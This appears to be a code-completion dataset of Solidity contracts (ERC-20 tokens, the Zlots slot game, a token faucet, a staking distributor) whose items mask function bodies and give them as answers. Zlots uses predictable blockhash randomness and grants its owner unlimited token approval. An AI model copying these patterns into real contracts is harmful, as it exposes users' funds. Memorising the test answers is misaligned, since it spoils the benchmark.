balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
16686 | Zlots | null | contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {<FILL_FUNCTION_BODY> }
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
/*
* Pay winners, update contract balance, send rewards where applicable.
*/
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 9999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
//Reset playerSpin to default values.
playerSpins[target] = playerSpin(uint200(0), uint48(0));
return result;
}
// This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// We do this by making sure that 25* your wager is no less than 90% of the amount currently held by the contract.
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
} | contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
<FILL_FUNCTION>
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
/*
* Pay winners, update contract balance, send rewards where applicable.
*/
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 9999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
//Reset playerSpin to default values.
playerSpins[target] = playerSpin(uint200(0), uint48(0));
return result;
}
// This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// We do this by making sure that 25* your wager is no less than 90% of the amount currently held by the contract.
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
} |
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
| constructor(address ZethrAddress, address BankrollAddress) public | constructor(address ZethrAddress, address BankrollAddress) public |
92759 | XMTCandy | contract XMTCandy {
function () payable public {<FILL_FUNCTION_BODY> }
} | contract XMTCandy {
<FILL_FUNCTION>
} |
msg.sender.transfer(msg.value);
token(0xE5C943Efd21eF0103d7ac6C4d7386E73090a11af).transfer(msg.sender, 10000000000000000000000);
| function () payable public | function () payable public |
|
62895 | Stupid | approveAndCall | contract Stupid is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Stupid() public {
symbol = "STPD";
name = "Stupid";
decimals = 8;
_totalSupply = 20000000000;
balances[0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A] = _totalSupply;
emit Transfer(address(0), 0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract Stupid is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Stupid() public {
symbol = "STPD";
name = "Stupid";
decimals = 8;
_totalSupply = 20000000000;
balances[0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A] = _totalSupply;
emit Transfer(address(0), 0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
46355 | FRAX3CRV_Curve_FXS_Distributor | withdraw | contract FRAX3CRV_Curve_FXS_Distributor is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
